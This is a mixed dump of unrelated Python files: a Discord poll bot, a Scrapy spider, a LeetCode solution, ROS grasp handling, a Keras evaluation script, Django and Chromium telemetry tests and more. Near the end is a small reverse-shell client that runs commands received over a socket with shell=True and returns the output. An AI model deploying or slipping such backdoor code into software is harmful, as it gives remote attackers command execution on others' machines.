        poll="The poll of which you want to get the statistics"
    )
    async def get_stats(
            self,
            interaction: BetterInteraction,
            poll: POLL_TRANSFORMER
    ):
        async with self.client.pool.acquire() as cursor:
            total_votes = await poll.total_votes(cursor)
            _labels = await self.client.database.poll_options(
                cursor,
                poll_rid=poll.rid
            )
            labels = [
                await self.client.database.poll_option_name(
                    cursor,
                    option_rid=_option_hid
                ) for _option_hid in _labels
            ]

            sizes = [
                round(await self.client.database.option_vote_count(
                    cursor,
                    option_rid=option_hid
                ) / total_votes, 2) if total_votes >= 1 else 0.00 for option_hid in _labels
            ]

        fig1, ax1 = plt.subplots()
        ax1.pie(sizes, labels=labels, autopct='%1.1f%%', shadow=True, startangle=90)
        ax1.axis('equal')  # Equal aspect ratio ensures that pie is drawn as a circle.

        buf = io.BytesIO()
        plt.savefig(buf, format="png")
        plt.close()
        buf.seek(0)

        file = discord.File(buf, filename="stats.png")
        buf.close()

        await interaction.response.send_message(
            file=file,
            ephemeral=True
        )

        file.close()

    @app_commands.command(
        name="list",
        description="List all your polls"
    )
    async def list(self, interaction: BetterInteraction):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )

            poll_data = []
            _polls = await self.client.database.guild_poll_ids(
                cursor,
                guild_rid=_guild_hid
            )

            embed = discord.Embed(
                title=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="poll.list.title"
                )
            )

            for poll_hid in _polls:
                poll = self.client.manager.get_poll(poll_hid)

                poll_data.append(
                    f"**{await poll.title(cursor)}** ({poll.hid})\n"
                    f"[message]({(await poll.message_id(cursor)).jump_url})"
                )

            embed.description = "\n".join(poll_data)

            await interaction.response.send_message(
                embed=embed
            )

    group = app_commands.Group(
        name="settings",
        description="Guild settings"
    )

    @group.command(
        name="language",
        description="Set your guilds language"
    )
    @app_commands.checks.has_permissions(
        administrator=True
    )
    async def language(
            self,
            interaction: BetterInteraction,
            language: LANGUAGE_TRANSFORMER
    ):
        async with self.client.pool.acquire() as cursor:
            _guild_hid = await self.client.database.get_guild_rid(
                cursor,
                guild_id=interaction.guild.id
            )
            await self.client.database.set_guild_language(
                cursor,
                guild_rid=_guild_hid,
                language=language
            )

            return await interaction.response.send_message(
                content=await self.client.translator.translate(
                    cursor,
                    guild_rid=_guild_hid,
                    key="settings.set_language.success",
                    language=language
                )
            )

async def setup(client: BetterBot):
    await client.add_cog(Main(client), guilds=client.config["guilds"])


def db_get_group_tools(db, group_name):
    cursor = db.aql.execute(f"""
        FOR g in groups
            FILTER g.name == @group_name
            RETURN g
        """, bind_vars={"group_name": group_name})
    group = [d for d in cursor][0]

    cursor = db.aql.execute(f"""
        FOR gt IN group_tools
            FILTER gt._from == @group_id
            RETURN DOCUMENT(gt._to)
        """, bind_vars={"group_id": group['_id']})
    tools = [d for d in cursor]

    return tools


import scrapy
import time
from e15.items import MeijuItem
import json

class MeijuSpider(scrapy.Spider):
    start_urls = ["http://www.meijutt.com/new100.html"]
    name = "meiju"
    def parse(self, response):

        movies = response.xpath("//ul[@class='top-list  fn-clear']/li")
        for movie in movies:
            item = MeijuItem()
            item['name'] = movie.xpath(".//h5/a/text()").extract()
            item['order'] = movie.xpath(".//div[@class='lasted-num fn-left']/i/text()").extract()
            item['status'] = movie.xpath(".//span[@class='state1 new100state1']/font/text()").extract()
            item['plot'] = movie.xpath(".//span[@class='mjjq']/text()").extract()
            item['time'] = movie.xpath(".//div[@class='lasted-time new100time fn-right']/text()").extract()
            yield item


"""
https://leetcode.com/problems/3sum/

Given an array nums of n integers, are there
elements a, b, c in nums such that a + b + c = 0?
Find all unique triplets in the array which gives the sum of zero.
Notice that the solution set must not contain duplicate triplets.

Example 1:
Input: nums = [-1,0,1,2,-1,-4]
Output: [[-1,-1,2],[-1,0,1]]

Example 2:
Input: nums = []
Output: []

Example 3:
Input: nums = [0]
Output: []
"""

class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
        nums.sort()
        res = []
        for l in range(len(nums) - 2):
            if l > 0 and nums[l] == nums[l-1]:
                continue
            m = l + 1
            r = len(nums) - 1
            while m < r:
                s = nums[l] + nums[m] + nums[r]
                if s < 0:
                    m += 1
                elif s > 0:
                    r -= 1
                else:
                    res.append([nums[l], nums[m], nums[r]])
                    # To not create duplicates, skip over
                    while m < r and nums[m] == nums[m+1]:
                        m += 1
                    while m < r and nums[r] == nums[r-1]:
                        r -= 1
                    m += 1
                    r -= 1
        return res


import logging
import sys

from fastapi import APIRouter

from crud.redis import RedisCrud

# jinja2 template
# from fastapi.templating import Jinja2Templates

# logger
logger = logging.getLogger(__name__)

# router
router = APIRouter(
    tags=["root"]
)

# jinja2 template
# templates = Jinja2Templates(directory="templates")

@router.get("/")
def root():
    return "Hello World!"

@router.get("/redis")
def redis():
    with RedisCrud() as sess:
        sess.set("test", 1)
        return sess.get("test")


import logging
import os
import sys

import pydoop.hdfs as phdfs

from hadoop_galaxy.pathset import FilePathset

Debug = os.environ.get('DEBUG', None)
logging.basicConfig(level=logging.DEBUG if Debug else logging.INFO)

def usage_error(msg=None):
  if msg:
    print >> sys.stderr, msg
  print >> sys.stderr, "Usage:  %s OUTPUT_ID DEMUX_OUTPUT_PATHSET NEW_FILE_DIR" % os.path.basename(sys.argv[0])
  sys.exit(1)

class PathsetWriter(object):
  # The format is dictated by the Galaxy documentation for tools that produce a variable
  # number of output files:  http://wiki.g2.bx.psu.edu/Admin/Tools/Multiple%20Output%20Files
  # We fix the file_type to 'pathset'.
  Galaxy_output_name_template = "primary_%s_%s_visible_pathset"

  def __init__(self, output_dir, output_id, data_type):
    self.output_dir = output_dir
    self.output_id = output_id
    self.data_type = data_type

  def write_pathset(self, dataset_path, name):
    """
    dataset_path: the path of the dataset to which the new pathset needs to refer
    name:  name of dataset to appear in Galaxy
    """
    if not name:
      raise RuntimeError("Blank dataset name")
    sanitized_name = name.replace('_', '-') # replace _ with - or galaxy won't like the name
    opathset = FilePathset(dataset_path)
    opathset.set_datatype(self.data_type)
    opath = os.path.join(self.output_dir, self.Galaxy_output_name_template % (self.output_id, sanitized_name))
    logging.debug("writing dataset path %s to pathset file %s", dataset_path, opath)
    with open(opath, 'w') as f:
      opathset.write(f)
    return self # to allow chaining

def main():
  if len(sys.argv) != 4:
    usage_error("Wrong number of arguments")

  output_id, demux_data, dest_dir = sys.argv[1:]
  logging.debug("input args: output_id, demux_data, dest_dir = %s", sys.argv[1:])

  ipathset = FilePathset.from_file(demux_data)
  logging.debug("input path set: %s", ipathset)

  writer = PathsetWriter(dest_dir, output_id, ipathset.datatype)

  # ipathset points to the output directory given to demux.  Inside it
  # we should find all the project/sample subdirectories, plus 'unknown' (if there
  # were any reads not attributable to a sample).  So, we list the output
  # dir and collect sample names and their paths.  In theory, the pathset
  # we receive as input should only contains the output from one demux; thus
  # a sample should only occur once.
  if len(ipathset) != 1:
    raise RuntimeError("Unexpected demux output pathset size of %d.  Expected 1 (the demux output path)" % len(ipathset))

  project_paths = \
    filter(lambda p: os.path.basename(p)[0] not in ('_', '.'), # filter hadoop and regular hidden files
      phdfs.ls(iter(ipathset).next()) # List the contents of the pathset. ls produces absolute paths
    )
  # Each project_path points to a directory containing the data from one project.
  # There may also be a directory 'unknown'
  for project_path in project_paths:
    if os.path.basename(project_path).lower() == 'unknown':
      writer.write_pathset(project_path, 'unknown')
    else:
      for project_sample_path in phdfs.ls(project_path):
        # take the last two elements of the path -- should be project, sample
        complete_sample_name = "%s.%s" % tuple(project_sample_path.split(os.path.sep)[-2:])
        writer.write_pathset(project_sample_path, complete_sample_name)

if __name__ == '__main__':
  main()


from copy import deepcopy
import os
import yaml
from rospy import logerr, loginfo, get_param
import rospkg
import genpy
import moveit_msgs.msg
from trajectory_msgs.msg import JointTrajectoryPoint
from sr_robot_msgs.msg import GraspArray

def reindent(multiline_string, num_spaces):
    """
    http://code.activestate.com/recipes/66055-changing-the-indentation-of-a-multi-line-string/
    """
    splitted_string = str.split(multiline_string, '\n')
    splitted_string = [(num_spaces * ' ') + line for line in splitted_string]
    splitted_string = str.join(splitted_string, '\n')
    return splitted_string

class Grasp(moveit_msgs.msg.Grasp):
    """
    Represents a single grasp, basically a wrapper around moveit_msgs/Grasp
    with added functions and Shadow Hand specific knowledge.
    """

    def __init__(self):
        moveit_msgs.msg.Grasp.__init__(self)
        self.grasp_quality = 0.001
        self.joint_names = [
            'FFJ1', 'FFJ2', 'FFJ3', 'FFJ4',
            'LFJ1', 'LFJ2', 'LFJ3', 'LFJ4', 'LFJ5',
            'MFJ1', 'MFJ2', 'MFJ3', 'MFJ4',
            'RFJ1', 'RFJ2', 'RFJ3', 'RFJ4',
            'THJ1', 'THJ2', 'THJ3', 'THJ4', 'THJ5',
            'WRJ1', 'WRJ2']

        # Default the pre grasp to all 0.0
        zero_joints = dict.fromkeys(self.joint_names, 0.0)
        self.set_pre_grasp_point(zero_joints)

    @classmethod
    def from_msg(cls, msg):
        """Construct a shadow grasp object from moveit grasp object."""
        grasp = Grasp()
        grasp.id = msg.id  # pylint: disable=C0103,W0201
        grasp.pre_grasp_posture = deepcopy(msg.pre_grasp_posture)  # pylint: disable=W0201
        grasp.grasp_posture = deepcopy(msg.grasp_posture)  # pylint: disable=W0201
        grasp.grasp_pose = deepcopy(msg.grasp_pose)  # pylint: disable=W0201
        grasp.grasp_quality = msg.grasp_quality  # pylint: disable=W0201
        grasp.pre_grasp_approach = deepcopy(msg.pre_grasp_approach)  # pylint: disable=W0201
        grasp.post_grasp_retreat = deepcopy(msg.post_grasp_retreat)  # pylint: disable=W0201
        grasp.post_place_retreat = deepcopy(msg.post_place_retreat)  # pylint: disable=W0201
        grasp.max_contact_force = msg.max_contact_force  # pylint: disable=W0201
        grasp.allowed_touch_objects = deepcopy(msg.allowed_touch_objects)  # pylint: disable=W0201
        return grasp

    @classmethod
    def from_yaml(cls, yaml_code):
        """
        Construct a shadow grasp object from YAML object. For example YAML
        grabbed from rostopic to a file.
        """
        grasp = Grasp()
        genpy.message.fill_message_args(grasp, yaml_code)
        return grasp

    def set_pre_grasp_point(self, *args, **kwargs):
        """
        Set the positions for a point (default 0) in the pre-grasp to a dict of
        joint positions.
        """
        self._set_posture_point(self.pre_grasp_posture, * args, ** kwargs)

    def set_grasp_point(self, *args, **kwargs):
        """
        Set the positions for a point (default 0) in the grasp to a dict of
        joint positions.
        """
        self._set_posture_point(self.grasp_posture, * args, ** kwargs)

    @staticmethod
    def _set_posture_point(posture, positions, point=0):
        """Set the posture positions using a dict of joint positions."""
        # XXX: Why have we been doing this?
        # posture.header.stamp = now
        posture.joint_names = positions.keys()

        # Extend the array to be big enough.
        if len(posture.points) < point + 1:
            for _ in range(point + 1):
                posture.points.append(JointTrajectoryPoint())

        # Update the point in place
        jtp = JointTrajectoryPoint()
        for _, pos in positions.items():
            jtp.positions.append(pos)
        posture.points[point] = jtp

class GraspStash:
    """
    Interface to the list of grasps stored in the system. Clients should all
    use this library so that it can deal with the detail of the undelying
    storage.
    """

    def __init__(self):
        # Store of all loaded grasps, indexed on grasp.id.
        self._store = {}
        ros_pack = rospkg.RosPack()
        self.grasps_file = get_param('~grasps_file',
                                     default=os.path.join(
                                         ros_pack.get_path('sr_grasp'), 'resource', 'grasps.yaml'))

    def get_all(self):
        """Return list of all grasps."""
        return self._store

    def get_grasp_array(self):
        arr = GraspArray()
        arr.grasps = self.get_all()
        return arr

    def get_grasp(self, grasp_index):
        """Return a single grasp from the stash from it's id field."""
        return self._store.get(grasp_index)

    def get_grasp_at(self, idx):
        """Return the Grasp at the given index."""
        return self.get_all()[idx]

    def size(self):
        """Return the number of grasps."""
        return len(self._store)

    def put_grasp(self, grasp):
        """Stash the given grasp, using it's id field, which must be set."""
        if grasp.id is None or grasp.id == "":
            raise Exception("Grasp has no id")
        # Up convert a plain grasp msg to our wrapper
        # if isinstance(grasp, moveit_msgs.msg.Grasp):
        #    grasp = Grasp.from_msg(grasp)
        self._store[grasp.id] = grasp

    def load_all(self):
        """Load all configured sources of grasps into the stash."""
        self.load_yaml_file(self.grasps_file)

    def as_yaml(self):
        return genpy.message.strify_message(self.get_grasp_array().grasps)

    def load_yaml_file(self, fname):
        """Load a set of grasps from a YAML file."""
        with open(fname, "r", encoding="utf-8") as stream:
            try:
                pdata = yaml.safe_load(stream)
                self.load_yaml(pdata)
            except Exception as exc:
                logerr(f"Failed to load YAML grasp file: {fname} error:{exc}")
                return False
            else:
                loginfo(f"Loaded grasps from file: {fname}")
                return True

    def load_yaml(self, data):
        """Load a set of grasps from a YAML object. Throws exceptions on errors."""
        for each_grasp in data:
            grasp = Grasp.from_yaml(each_grasp)
            self.put_grasp(grasp)

    def save_yaml_file(self, fname=""):
        if fname == "":
            fname = self.grasps_file
        with open(fname, "w", encoding="utf-8") as txtfile:
            txtfile.write(self.as_yaml())


from keras.models import load_model
import numpy as np
from utilities_for_data1 import views_to_boxel
from utilities_for_data1 import boxel_to_cloud
from utilities_for_data1 import dumi_voxel_cube
from mpl_toolkits.mplot3d import Axes3D
from DataGeneratorT import DataGenerator # Change to DataGeneratorT for Shapenet test
from time import gmtime, strftime

def truncate_view(view,size):
    offset = int(size*.1 + 1)
    view = view - offset
    temp = np.logical_and(view>=size, view <= (size+4))
    view[temp] = size-1
    temp = np.logical_or(view<0,view>(size+4))
    view[temp] = -1
    view = view.astype(int)
    return view

date = strftime("%Y %m %d", gmtime())

#PC only
# import tensorflow as tf
import tensorflow.compat.v1 as tf
# config = tf.ConfigProto()
# config.gpu_options.allow_growth = True
session = tf.Session()#(config=config)

MODEL = 'YCB'
SAVE_PATH = '/home/leo/Results/'
BASE_PATH = '/home/leo/Datasets/Test_Proposal_'

PATH = '/home/leo/Models/'
NAME = 'Model_Proposal_'+ MODEL + '.h5'
model = load_model(PATH + NAME)

path_list_IDs = BASE_PATH + MODEL + '/' + 'Test.txt'
partition = BASE_PATH + MODEL + '/Test'
params = {'dim': (32,32),
          'batch_size': 64,
          'n_channels': 6,
          'shuffle': False}

test_generator = DataGenerator(partition, path_list_IDs,**params)
decoded_imgs = model.predict_generator(generator=test_generator,
                    use_multiprocessing=True,
                    workers=16)

decoded_imgs = np.array(decoded_imgs)
tem = np.empty((decoded_imgs.shape[1],32,32,6))

for i in range(decoded_imgs.shape[1]):
    for j in range(decoded_imgs.shape[0]):
        tem[i,:,:,j] = decoded_imgs[j,i,:,:,0]

print(tem.shape)
decoded_imgs = tem

#np.save(SAVE_PATH + 'Results_Proposal_'+MODEL+'.npy',decoded_imgs)

f = open(path_list_IDs)
list_IDs = f.read().splitlines()
f.close()

import matplotlib.pyplot as plt
import matplotlib
matplotlib.use('tkagg')
#n = 6
#img = 210  #60 mesa  #210 carro

#
#name = list_IDs[img].replace('/', '_')
#print(name)
#X = np.load(partition + '/X/'+ name + '.npy')
#Y = np.load(partition + '/Y/'+ name + '.npy')

#decoded_imgs=X
#fig0 = plt.figure(0,figsize = (18,6))
#for i in range(n):
#    ax = plt.subplot(3, n, i+1)
#    plt.imshow(X[:,:,i].reshape(32,32))
#
#    ax.get_xaxis().set_visible(False)
#    ax.get_yaxis().set_visible(False)
#
#    ax = plt.subplot(3,n, i + n+1)
#    plt.imshow(truncate_view(decoded_imgs[img,:,:,i].reshape(32,32),32))
#
#    ax.get_xaxis().set_visible(False)
#    ax.get_yaxis().set_visible(False)
#
#    ax = plt.subplot(3,n, i + 2*n+1)
#    plt.imshow(truncate_view(Y[:,:,i].reshape(32,32),32))
#
#    ax.get_xaxis().set_visible(False)
#    ax.get_yaxis().set_visible(False)
##plt.show()
#fig0.show()
#
#
#
#name = list_IDs[img].replace('/', '_')
#print(name)
#Y = np.load(partition + '/Y/'+ name + '.npy')
##voxel_cube = views_to_boxel(decoded_imgs[img,:,:,:],32)
#voxel_cube = dumi_voxel_cube(decoded_imgs[img,:,:,:],32)
#x_array, y_array, z_array = boxel_to_cloud(voxel_cube)
#plt.axis('off')
#
#fig1 = plt.figure(1)
#ax = fig1.add_subplot(111, projection='3d')
#ax.scatter(x_array, y_array, z_array, c = 'r', marker = '.')
## ax.get_xaxis().set_visible(False) #RTX 2080
## ax.get_yaxis().set_visible(False) #RTX 2080
## ax.get_zaxis().set_visible(False) #RTX 2080
#ax.xaxis.set_visible(False)
#ax.yaxis.set_visible(False)
#ax.zaxis.set_visible(False)
#ax.grid(False)
## ax.axis('off')
#ax.set_xticks(range(33))
#ax.set_yticks(range(33))
#ax.set_zticks(range(33))
#
#fig1.show()
#input()

elementos = ['12873','12270','12743','12118','12989','11821','12975','12272','12545','11912','12097','12215','12468']

save = []

for img in range(decoded_imgs.shape[0]):

    name = list_IDs[img].replace('/', '_')
    if name in elementos:
         print(name)
         Y = np.load(partition + '/Y/'+ name + '.npy')
    #     voxel_cube = views_to_boxel(decoded_imgs[img,:,:,:],32)
         voxel_cube = dumi_voxel_cube(decoded_imgs[img,:,:,:],32)
         x_array, y_array, z_array = boxel_to_cloud(voxel_cube)
         save.append(voxel_cube)
#         plt.axis('off')
##
#         fig1 = plt.figure(1)
#         ax = fig1.add_subplot(111, projection='3d')
#         ax.scatter(x_array, y_array, z_array, c = 'r', marker = '.')
#    #     ax.get_xaxis().set_visible(False)
#    #     ax.get_yaxis().set_visible(False)
#    #     ax.get_zaxis().set_visible(False)
#         ax.grid(False)
#         ax.set_xticks(range(33))
#         ax.set_yticks(range(33))
#         ax.set_zticks(range(33))
#         #fig1.axis('off')
#         fig1.show()
#

         voxel_cube = views_to_boxel(Y,32)
         #voxel_cube = dumi_voxel_cube(Y,32)
         x_array, y_array, z_array = boxel_to_cloud(voxel_cube)
         save.append(voxel_cube)
#         fig2 = plt.figure(2)
#         ax = fig2.add_subplot(111, projection='3d')
#         ax.scatter(x_array, y_array, z_array, c = 'r', marker = '.')
#    #     ax.get_xaxis().set_visible(False)
#    #     ax.get_yaxis().set_visible(False)
#    #     ax.get_zaxis().set_visible(False)
#    #     ax.grid(False)
#         ax.set_xticks(range(33))
#         ax.set_yticks(range(33))
#         ax.set_zticks(range(33))
#         #fig2.axis('off')
#         fig2.show()
#
#         input()
np.save('figurasYCBProposal',save)
# y = [ [x_array[i], y_array[i], z_array[i]] for i in range(x_array.shape[0])]
# pointcloud = [x_array, y_array, z_array]

# from sklearn.cluster import DBSCAN
# clustering = DBSCAN(eps=2.5, min_samples=3).fit(y)
# labels = clustering.labels_

# objeto = []
# for i in range(x_array.shape[0]):
#     if labels[i] == 0:
#         objeto.append(y[i])
# x_array = []
# y_array = []
# z_array = []
# for i in objeto:
#     x_array.append(i[0])
#     y_array.append(i[1])
#     z_array.append(i[2])

Networks/Shape completion using orthogonal views through a multi input-output Network/resnet_test_model_sc_generator.py


import os
rows, cols = os.popen('stty size', 'r').read().split()
rows = int(rows)-1
print(rows, cols)
cols = int(cols)
from utils import color_to_asci, px_to_int, percent_to_absolute, get_abs_num
import traceback

def build(soup, css):
    """
    given the soup and styles will get css from styles for an element and display to terminal
    @param soup {obj} - beautifulsoup object of the website
    @param styles - dict representation of the webpages full styles
    """

    #CREATE PAGE AND FILL WITH BACKGROUND COLOR
    if css['html']['background-color']:
        c = css['html']['background-color']
        bg_color = color_to_asci(c)
    elif css['body']['background-color']:
        c = css['body']['background-color']
        bg_color = color_to_asci(c)
    else:
        bg_color = W
    page = [[bg_color+'\u2588'+bg_color for i in range(cols)] for j in range(rows)]

    # print(dir(soup.findChildren()[4]))
    # print(str(soup.findChildren()[4]))
    # print(soup.findChildren()[4].name)

    line = 0
    dpr = 16
    dpc = 8
    parent_css = {'margin-top' : '8px', 'margin-bottom' : '8px', 'margin-left' : '8px', 'margin-right' : '8px', 'margin' : '16px'} #we can put all the defaults in here
    current_css = {}
    child_css = {}
    exempt_names = set(['title', 'html', 'head', 'style', 'script', 'link'])
    new_line = set(['h1', 'h2'])
    reset = '\u001b[0m'
    for item in soup.findChildren():
        # print(parent_css, current_css)
        try:

            if item.name in css:
                current_css.update(css[item.name])
                if item.attrs.get('class'):
                    for cl in item.attrs.get('class'):
                        print(css)
                        if css.get(cl):
                            current_css.update(css.get(cl))
                            print('updated css', css.get(cl))

            if item.name in exempt_names:
                continue

            # print(item['body'])
            # print('ITEM', item.name)
            # print(item.child.text)

            print(current_css)

            if item.next_element.strip() != "":
                #if there is text
                color = color_to_asci(current_css['color'])
                bg_color = color_to_asci(current_css['background-color'], bg=True)

                c_margin = 0
                r_margin = 0
                if parent_css.get('margin'):
                    c_margin = int(get_abs_num(parent_css.get('margin'), num=cols, dpi=dpc)//dpc)
                    r_margin = int(get_abs_num(parent_css.get('margin'), num=rows, dpi=dpr)//dpr)

                # print(c_margin)
                # print(parent_css.get('margin'))
                # print(current_css.get('margin'))

                for x in range(0, len(item.next_element)):
                    page[line+r_margin][x%cols+c_margin] = bg_color+color+item.next_element[x]+reset

                    if (x+1)%cols == 0:
                        line += 1

                line += 1
                # print('ja', item.next_element)
            else:
                height = 0
                for child in item.findChildren():
                    if css.get(child.name):
                        # print(css.get(item.name).get('height'))
                        h = get_abs_num(css.get(child.name).get('height'), rows, dpi=dpr)
                        # if '%' in css.get(child.name).get('height'):
                            # h = percent_to_absolute(css.get(child.name).get('height'))

                        if h > height:
                            height = h

                    if child.next_element.strip() != "":
                        # print(child.next_element.strip())
                        height += len(child.next_element.strip())//cols+1

                print(current_css['background-color'])
                bg_color = color_to_asci(current_css['background-color'], bg=False)

                r_margin = 0
                c_margin = 0
                if parent_css.get('margin'):
                    c_margin = int(get_abs_num(parent_css.get('margin'), num=cols, dpi=dpc)//dpc)
                    r_margin = int(get_abs_num(parent_css.get('margin'), num=rows, dpi=dpr)//dpr)

                print('row', r_margin)
                for i in range(height):
                    for x in range(0, cols-c_margin*2):
                        page[line+i+r_margin][x%cols+c_margin] = bg_color+'\u2588'+reset

            if item.name in css:
                # print(css[item.name])
                parent_css.update(current_css)
            # print(type(item))
        except Exception as e:
            print(str(e))
            print(traceback.print_exc())
            # print(help(e.with_traceback))
    print_page(page)
    # print(page)

def print_page(page):
    for row in page:
        for item in row:
            print(item, end='')

# def fill(rows, columns, color):
#     '''
#     fills the screen full width and coluns with blocks \u2588 given a color
#     TODO:
#         - fill with a list of colors proportional to columns and rows
#     '''
#     for i in range(int(columns)):
#         for j in range(int(rows)-1):
#             print(color+'\u2588'+W, end='')


from django.db import models
from django.contrib.auth.models import AbstractUser
from django.core.validators import int_list_validator
from django.utils.crypto import get_random_string
# Create your models here.

class User(AbstractUser):
    Rating=models.IntegerField(default=0)
    profile_picture = models.ImageField(upload_to='profile_pics', default='default.jpg')
    email_verified = models.BooleanField(default=False)
    verification_token = models.CharField(max_length=100, blank=True, null=True)

    def generate_verification_token(self):
        token = get_random_string(length=30)
        self.verification_token = token
        self.save()
        return token


from __future__ import absolute_import
import shutil
import tempfile
import unittest

import mock

from telemetry import android
from telemetry import benchmark
from telemetry.testing import options_for_unittests
from telemetry.timeline import chrome_trace_category_filter
from telemetry import page
from telemetry.page import legacy_page_test
from telemetry.page import shared_page_state
from telemetry import story as story_module
from telemetry.web_perf import timeline_based_measurement

class DummyPageTest(legacy_page_test.LegacyPageTest):
  def ValidateAndMeasurePage(self, *_):
    pass

class TestBenchmark(benchmark.Benchmark):
  def __init__(self, story):
    super().__init__()
    self._story_set = story_module.StorySet()
    self._story_set.AddStory(story)

  def CreatePageTest(self, _):
    return DummyPageTest()

  def CreateStorySet(self, _):
    return self._story_set

class BenchmarkTest(unittest.TestCase):
  def setUp(self):
    self.options = options_for_unittests.GetRunOptions(
        output_dir=tempfile.mkdtemp())

  def tearDown(self):
    shutil.rmtree(self.options.output_dir)

  def testPageTestWithIncompatibleStory(self):
    b = TestBenchmark(story_module.Story(
        name='test story',
        shared_state_class=shared_page_state.SharedPageState))
    with self.assertRaisesRegex(
        Exception, 'containing only telemetry.page.Page stories'):
      b.Run(self.options)

    state_class = story_module.SharedState
    b = TestBenchmark(story_module.Story(
        name='test benchmark',
        shared_state_class=state_class))
    with self.assertRaisesRegex(
        Exception, 'containing only telemetry.page.Page stories'):
      b.Run(self.options)

    b = TestBenchmark(android.AndroidStory(
        name='test benchmark', start_intent=None))
    with self.assertRaisesRegex(
        Exception, 'containing only telemetry.page.Page stories'):
      b.Run(self.options)

  @mock.patch('telemetry.internal.story_runner.RunStorySet')
  def testPageTestWithCompatibleStory(self, mock_run_story_set):
    b = TestBenchmark(page.Page(url='about:blank', name='about:blank'))
    b.Run(self.options)

    self.assertTrue(mock_run_story_set.called)

  def testBenchmarkMakesTbmTestByDefault(self):
    class DefaultTbmBenchmark(benchmark.Benchmark):
      pass

    self.assertIsInstance(
        DefaultTbmBenchmark().CreatePageTest(options=None),
        timeline_based_measurement.TimelineBasedMeasurement)

  def testUnknownTestTypeRaises(self):
    class UnknownTestType():
      pass
    class UnknownTestTypeBenchmark(benchmark.Benchmark):
      test = UnknownTestType

    type_error_regex = (
        '"UnknownTestType" is not a PageTest or a StoryTest')
    with self.assertRaisesRegex(TypeError, type_error_regex):
      UnknownTestTypeBenchmark().CreatePageTest(options=None)

  def testGetOwners(self):
    @benchmark.Owner(emails=['alice@chromium.org'])
    class FooBenchmark(benchmark.Benchmark):
      @classmethod
      def Name(cls):
        return "foo"

    @benchmark.Owner(emails=['bob@chromium.org', 'ben@chromium.org'],
                     component='xyzzyx')
    class BarBenchmark(benchmark.Benchmark):
      @classmethod
      def Name(cls):
        return "bar"

    @benchmark.Owner(component='xyzzyx')
    class BazBenchmark(benchmark.Benchmark):
      @classmethod
      def Name(cls):
        return "baz"

    foo_owners_diagnostic = FooBenchmark(None).GetOwners()
    bar_owners_diagnostic = BarBenchmark(None).GetOwners()
    baz_owners_diagnostic = BazBenchmark(None).GetOwners()

    self.assertEqual(foo_owners_diagnostic, ['alice@chromium.org'])
    self.assertEqual(bar_owners_diagnostic,
                     ['bob@chromium.org', 'ben@chromium.org'])
    self.assertIsNone(baz_owners_diagnostic)

  def testGetBugComponents(self):
    @benchmark.Owner(emails=['alice@chromium.org'])
    class FooBenchmark(benchmark.Benchmark):
      @classmethod
      def Name(cls):
        return "foo"

    @benchmark.Owner(emails=['bob@chromium.org'], component='xyzzyx')
    class BarBenchmark(benchmark.Benchmark):
      @classmethod
      def Name(cls):
        return "bar"

    foo_bug_components_diagnostic = FooBenchmark(None).GetBugComponents()
    bar_bug_components_diagnostic = BarBenchmark(None).GetBugComponents()

    self.assertIsNone(foo_bug_components_diagnostic)
    self.assertEqual(bar_bug_components_diagnostic, 'xyzzyx')

  def testChromeTraceOptionsUpdateFilterString(self):
    class TbmBenchmark(benchmark.Benchmark):
      def CreateCoreTimelineBasedMeasurementOptions(self):
        tbm_options = timeline_based_measurement.Options(
            chrome_trace_category_filter.ChromeTraceCategoryFilter(
                filter_string='rail,toplevel'))
        tbm_options.config.enable_chrome_trace = True
        return tbm_options

    self.options.extra_chrome_categories = 'toplevel,net'

    b = TbmBenchmark(None)
    tbm = b.CreatePageTest(self.options)
    self.assertEqual(
        'net,rail,toplevel',
        tbm.tbm_options.category_filter.stable_filter_string)

  def testAtraceOptionsTurnsOnAtrace(self):
    class TbmBenchmark(benchmark.Benchmark):
      def CreateCoreTimelineBasedMeasurementOptions(self):
        tbm_options = timeline_based_measurement.Options()
        tbm_options.config.atrace_config.categories = []
        return tbm_options

    self.options.extra_atrace_categories = 'foo,bar'

    b = TbmBenchmark(None)
    tbm = b.CreatePageTest(self.options)
    self.assertTrue(tbm.tbm_options.config.enable_atrace_trace)
    self.assertEqual(
        ['foo', 'bar'],
        tbm.tbm_options.config.atrace_config.categories)

  def testAdditionalAtraceCategories(self):
    class TbmBenchmark(benchmark.Benchmark):
      def CreateCoreTimelineBasedMeasurementOptions(self):
        tbm_options = timeline_based_measurement.Options()
        tbm_options.config.enable_atrace_trace = True
        tbm_options.config.atrace_config.categories = 'string,foo,stuff'
        return tbm_options

    self.options.extra_atrace_categories = 'foo,bar'

    b = TbmBenchmark(None)
    tbm = b.CreatePageTest(self.options)
    self.assertTrue(tbm.tbm_options.config.enable_atrace_trace)
    self.assertEqual(
        ['string', 'foo', 'stuff', 'bar'],
        tbm.tbm_options.config.atrace_config.categories)

  def testEnableSystrace(self):
    class TbmBenchmark(benchmark.Benchmark):
      def CreateCoreTimelineBasedMeasurementOptions(self):
        return timeline_based_measurement.Options()

    self.options.enable_systrace = True

    b = TbmBenchmark(None)
    tbm = b.CreatePageTest(self.options)
    self.assertTrue(
        tbm.tbm_options.config.chrome_trace_config.enable_systrace)

  def testCanRunOnPlatformReturnTrue(self):
    b = TestBenchmark(story_module.Story(
        name='test name',
        shared_state_class=shared_page_state.SharedPageState))
    # We can pass None for both arguments because it defaults to ALL for
    # supported platforms, which always returns true.
    self.assertTrue(b.CanRunOnPlatform(None, None))

  def testCanRunOnPlatformReturnFalse(self):
    b = TestBenchmark(story_module.Story(
        name='test name',
        shared_state_class=shared_page_state.SharedPageState))
    b.SUPPORTED_PLATFORMS = [] # pylint: disable=invalid-name
    # We can pass None for both arguments because we select no platforms as
    # supported, which always returns false.
    self.assertFalse(b.CanRunOnPlatform(None, None))


# coding: utf-8

__author__ = 'Yemilice_lau'

# 客户端，这个部署在其他机器上

import socket, subprocess

HOST = '127.0.0.1'
PORT = 11443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send("[*] Connect Established")

while 1:
    data = s.recv(1024)
    if data == "quit":
        break
    proc = subprocess.Popen(data, shell=True, stdot=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdou_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdou_value)
s.close()


# C950 - Webinar-2 - Getting Greedy, who moved my data?
